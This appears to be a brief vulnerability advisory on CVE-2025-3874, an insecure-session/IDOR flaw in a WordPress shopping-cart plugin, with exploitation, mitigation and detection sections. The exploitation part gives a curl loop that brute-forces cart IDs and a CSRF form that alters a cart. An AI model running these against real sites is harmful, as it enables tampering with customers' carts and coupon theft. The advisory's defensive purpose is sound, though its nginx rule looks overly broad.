How CVE-2025-3874 Works
The WordPress Simple Shopping Cart plugin (≤ v5.1.3) fails to randomize user-controlled cart session keys, enabling unauthenticated attackers to manipulate or hijack shopping carts. The plugin relies on predictable sequential or static identifiers for cart sessions, allowing attackers to brute-force valid session IDs. Once accessed, attackers can modify product links, inject malicious items, steal coupon codes, or delete cart contents. The vulnerability stems from missing authorization checks and insecure session handling, exposing all carts to unauthorized access.
DailyCVE Form
Platform: WordPress
Version: ≤ 5.1.3
Vulnerability: IDOR
Severity: Critical
Date: 2025-05-01
What Undercode Say:
Exploitation:
1. Brute-force Cart IDs:
for i in {1..1000}; do curl -s "http://target.com/?sc_id=$i" | grep "cart_contents"; done
2. Modify Cart via CSRF:
<form action="http://target.com/update-cart" method="POST"> <input type="hidden" name="sc_id" value="123"> <input type="hidden" name="product_id" value="999"> <input type="submit" value="Exploit"> </form>
Mitigation:
1. Patch: Upgrade to v5.1.4+.
2. WAF Rules: Block unexpected cart ID patterns.
location ~ /update-cart {
if ($arg_sc_id ~ "^[0-9]{1,5}$") { return 403; }
}
3. Session Hardening:
// Generate random cart IDs $cart_id = bin2hex(random_bytes(16));
Detection:
1. Log Analysis:
grep "GET /?sc_id=" /var/log/nginx/access.log | awk '{print $1}' | sort | uniq -c
2. Plugin Audit:
wp plugin list --status=active --field=name | grep "simple-shopping-cart"
